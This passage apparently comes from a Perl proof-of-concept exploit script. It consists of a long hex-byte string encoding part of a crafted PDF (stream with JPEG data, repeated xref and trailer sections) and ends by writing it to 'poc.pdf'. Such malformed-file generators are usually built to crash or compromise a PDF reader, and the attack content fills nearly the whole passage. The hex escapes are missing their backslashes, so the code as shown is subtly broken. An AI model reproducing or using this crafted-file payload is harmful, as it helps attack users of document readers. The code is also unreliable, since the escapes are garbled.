"x65x20x74x72x75x65x2Fx4Cx65x6Ex67x74x68x20x33x32x33x32x34x3Ex3Ex0Dx0Ax73x74".
"x72x65x61x6Dx0Dx0AxFFxD8xFFxE0x00x10x4Ax46x49x46x00x01x01x01x00x60x00x60x00".
"x00xFFxDBx00x43x00x08x06x06x07x06x05x08x07x07x07x09x09x08x0Ax0Cx14x0Dx0Cx0B".
"x0Bx0Cx19x12x13x0Fx14x1Dx1Ax1Fx1Ex1Dx1Ax1Cx1Cx20x24x2Ex27x20x22x2Cx23x1Cx1C".
"x28x37x29x2Cx30x31x34x34x34x1Fx27x39x3Dx38x32x3Cx2Ex33x34x32xFFxDBx00x43x01".
"x09x09x09x0Cx0Bx0Cx18x0Dx0Dx18x32x21x1Cx21x32x32x32x32x32x32x32x32x32x32x32".
"x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32".
"x32x32x32x32x32x32x32x32x32x32x32x32x32x32xFFxC0x00x11x08x01x39x01xF4x03x01".
"x22x00x02x11x01x03x11x01xFFxC4x00x1Fx00x00x01x05x01x01x01x01x01x01x00x00x00".
"x00x00x00x00x00x01x02x03x04x05x06x07x08x09x0Ax0BxFFxC4x00xB5x10x00x02x01x03".
"x03x02x04x03x05x05x04x04x00x00x01x7Dx01x02x03x00x04x11x05x12x21x31x41x06x13".
"x51x61x07x22x71x14x32x81x91xA1x08x23x42xB1xC1x15x52xD1xF0x24x33x62x72x82x09".
"x0Ax16x17x18x19x1Ax25x26x27x28x29x2Ax34x35x36x37x38x39x3Ax43x44x45x46x47x48".
"x49x4Ax53x54x55x56x57x58x59x5Ax63x64x65x66x67x68x69x6Ax73x74x75x76x77x78x79".
"x7Ax83x84x85x86x87x88x89x8Ax92x93x94x95x96x97x98x99x9AxA2xA3xA4xA5xA6xA7xA8".
"xA9xAAxB2xB3xB4xB5xB6xB7xB8xB9xBAxC2xC3xC4xC5xC6xC7xC8xC9xCAxD2xD3xD4xD5xD6".
"xD7xD8xD9xDAxE1xE2xE3xE4xE5xE6xE7xE8xE9xEAxF1xF2xF3xF4xF5xF6xF7xF8xF9xFAxFF".
"xC4x00x1Fx01x00x03x01x01x01x01x01x01x01x01x01x00x00x00x00x00x00x01x02x03x04".
"x05x06x07x08x09x0Ax0BxFFxC4x00xB5x11x00x02x01x02x04x04x03x04x07x05x04x04x00".
"x01x02x77x00x01x02x03x11x04x05x21x31x06x12x41x51x07x61x71x13x22x32x81x08x14".
"x42x91xA1xB1xC1x09x23x33x52xF0x15x62x72xD1x0Ax16x24x34xE1x25xF1x17x18x19x1A".
"x26x27x28x29x2Ax35x36x37x38x39x3Ax43x44x45x46x47x48x49x4Ax53x54x55x56x57x58".
"x59x5Ax63x64x65x66x67x68x69x6Ax73x74x75x76x77x78x79x7Ax82x83x84x85x86x87x88".
"x89x8Ax92x93x94x95x96x97x98x99x9AxA2xA3xA4xA5xA6xA7xA8xA9xAAxB2xB3xB4xB5xB6".
"xB7xB8xB9xBAxC2xC3xC4xC5xC6xC7xC8xC9xCAxD2xD3xD4xD5xD6xD7xD8xD9xDAxE2xE3xE4".
"xE5xE6xE7xE8xE9xEAxF2xF3xF4xF5xF6xF7xF8xF9xFAxFFxDAx00x0Cx03x01x03x03x11x03".
"x11x00x3Fx00xF9xFEx8AxBDxA3xE9xCFxABxEBx56x3Ax6Ax48xB1xBDxDDxC2x40xAExC3x21".
"x4Bx30x19x38xEDxCDx75xD7x5Fx0BxF5x1Bx6Bx7Dx7Ex45xBCx82x56xD2x67x8Ax05x44x46".
"xCDxC9x90xA8x1Bx7Dx3ExFAxF5xA6x07x07x45x76xC3xC0x01xEExEEx2Dx22xD6xEDx5Ex7B".
"x09xE3x87x51x02x37xDBx6FxB9xC4x65x81xFEx35x57x38x24x7Dx79x15x99x7BxE1x0BxAD".
"x37x4ExD6x2ExEExE7x8Ex23xA7x6Ax03x4FxD8x54xE6x69x7Ex6DxDBx4Fx60x02xE7x9Fx51".
"x48x0Ex76x92xBBx08x7Cx0Ax6Ex2Cx6Cx8Cx5AxA4x3FxDAx17x9Ax7Bx6Ax10x5Ax18x58x6E".
"x8Dx4Bx65x77xF4xDDx84x63x8Cx76xEBxCDx4Fx7BxF0xE2xF2xD2x1Dx6Ex55xBFxB7x94x69".
"xA2x36x8Cx2Ax36x6Ex95xD1x5Cx94xCFx4Cx2Bx82x73x40x1Cx45x15xDCx5FxFCx3Cx1Ax3D".
"xDBxC5xA9xEBx76xB6xF1x9BxAFxB1xC1x2Fx94xECx24x94x2Ax97xE3xAAxAAx17x0Ax5BxD7".
"xA0x34xFBx6Fx86xD3x9Bx9Bx4Bx1BxEDx4Ex1Bx4Dx46xF2xFAx6Bx08x20x30xB3x83x2Cx45".
"x41xCBx0Ex8Ax77xAEx0Ex0Fx5Ax00xE1x68xAExC6x3Fx01x3CxD6x96x8Ax9Ax9Cx3FxDAx77".
"x76x2Fx7Dx0Dx99x89xBEx74x42xE1x97x7Fx4DxDFxBBx62x07x7Fx5Ex6Bx3Fx45xF0xDCx1A".
"x8Ex89x7BxABx5Ex6Ax6Bx65x6Bx6Bx71x15xB9xFDxCBx48xCCxD2x06x23x80x7Ax7Cx86x80".
"x39xDAx2BxB7x9BxC0x30x59x36xB7x1DxFExB7x1Cx32xE8xCCxA2xE5x63xB6x79x01x56x70".
"xA8x54xE4x67x39x04x83x8Cx54x53x78x10x2Dx84xAFx0ExADx14xB7x91x69x49xABx35xB7".
"x90xCAx3Cx96x0Ax7ExFFx00x4DxC0x30x38xFDx68x03x8DxA2xBAx8Dx17xC2x70x6Ax7Ax34".
"x7Ax95xD6xADx15x94x73x5Fx8Bx08x83xC2xCFx99x0Ax86x05x88xFBxABxCFx5Ex6Ax55xF0".
"x34xB6xFAx6ExA1x79xAAxEAx10xD8x0Bx4BxD9x2Cx3Ex68x9Ex40x66x45xDCx43x15x07x68".
"x3Cx00x7Bx93xECx68x03x92xA2xBAxADx0FxC1x37x7AxADxA5xD5xCDxD4xA7x4Fx8Ex24xB7".
"x78xFCxE8x18x99x96x69x3CxB4x65xFFx00x67x77x7AxB5x77xE0x06x87x5Ex7Dx26x2Dx40".
"x99x20x69x8DxD4xD3x5Ax3Cx51x47x1Cx40x97x70x4FxDEx1Cx1Cx60x73xC7xADx00x71x74".
"x57x51x65xE1x3Bx7Dx5ExF6x4Bx3Dx1Fx59x82xF2xE4xDBx34xF0x41xE4x3Cx72x4AxEBxD6".
"x20x08xC6xFCx64x8Cx12x0Fx4ExBCx54xDAx9Fx82x46x9FxA6x6AxF7x2BxAAxC1x3CxDAx4C".
"x90xC5x75x12x46xD8x0Fx27xF0x86xE8x76x90xC0xFDx28x03x91xA3xB5x75x4FxE0xF5x83".
"xC2xB6x5AxDCxF7xD2x01x79x0Cx92xC7x14x56x8ExE1x76x31x5Cx33xF4x5Ex45x36xFBxC1".
"xD2xE9xBAx06x91xABxDDx5Fx42x90x5FxBAx89x54x23x33x5Bx2Bx0CxA3x30xEFxB9x41x60".
"x07x61x40x1CxBDx15xD4x78x93xC1x93xF8x62xD0x4Dx7Bx7Bx03x34xD7x0Cx96x89x18x27".
"xEDx10x80x0Fx9ExA7xA0x43x90x07xAFx3Ex86xB9x7Ax00x28xA2x8Ax00x28xA2x8Ax00x28".
"xA2x8Cx50x01x45x18xA3x14x00x51x46x29x71x40x09x45x14x50x01x45x14x50x01x45x18".
"xA2x80x0Ax28xC5x14x00x51x46x28xA0x02x8Ax28xA0x02x8Ax31x45x00x14x51x45x00x14".
"x51x45x00x14x51x45x00x14x51x45x00x14x51x45x00x14x51x45x00x14x51x45x00x14x51".
"x45x00x14x51x45x00x69xE8x1Ax92xE8xDEx22xD3x35x37x8CxCAx96x77x51x4Ex63x53x82".
"xC1x58x31x00xF6xE9x5DxBDxD7xC5x21x26x9Fx71x15xB5x8CxB1x5CxCDx1Ax9Fx34xCAx0D".
"x0Ax65x6Ex64x73x74x72x65x61x6Dx0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax78x72x65x66x0D".
"x0Ax30x20x31x31x35x0Dx0Ax30x30x30x30x30x30x30x30x34x39x20x36x35x35x33x35x20".
"x66x0Dx0Ax74x72x61x69x6Cx65x72x0Dx0Ax3Cx3Cx2Fx53x69x7Ax65x20x31x31x35x2Fx52".
"x6Fx6Fx74x20x31x20x30x20x52x2Fx49x6Ex66x6Fx20x34x38x20x30x20x52x2Fx49x44x5B".
"x3Cx46x30x39x32x36x41x35x39x34x42x41x32x32x46x34x44x41x37x33x42x33x32x41x42".
"x41x30x31x33x36x39x36x46x3Ex3Cx46x30x39x32x36x41x35x39x34x42x41x32x32x46x34".
"x44x41x37x33x42x33x32x41x42x41x30x31x33x36x39x36x46x3Ex5Dx20x3Ex3Ex0Dx0Ax73".
"x74x61x72x74x78x72x65x66x0Dx0Ax32x38x34x34x36x35x0Dx0Ax25x25x45x4Fx46x0Dx0A".
"x78x72x65x66x0Dx0Ax30x20x30x0Dx0Ax74x72x61x69x6Cx65x72x0Dx0Ax3Cx3Cx2Fx53x69".
"x7Ax65x20x31x31x35x2Fx52x6Fx6Fx74x20x31x20x30x20x52x2Fx49x6Ex66x6Fx20x34x38".
"x20x30x20x52x2Fx49x44x5Bx3Cx46x30x39x32x36x41x35x39x34x42x41x32x32x46x34x44".
"x41x37x33x42x33x32x41x42x41x30x31x33x36x39x36x46x3Ex3Cx46x30x39x32x36x41x35".
"x39x34x42x41x32x32x46x34x44x41x37x33x42x33x32x41x42x41x30x31x33x36x39x36x46".
"x3Ex5Dx20x2Fx50x72x65x76x20x32x38x34x34x36x35x2Fx58x52x65x66x53x74x6Dx20x32".
"x38x33x39x35x35x3Ex3Ex0Dx0Ax73x74x61x72x74x78x72x65x66x0Dx0Ax32x38x36x39x32".
open(C, ">:raw", "poc.pdf");
print C $poc;
close(C);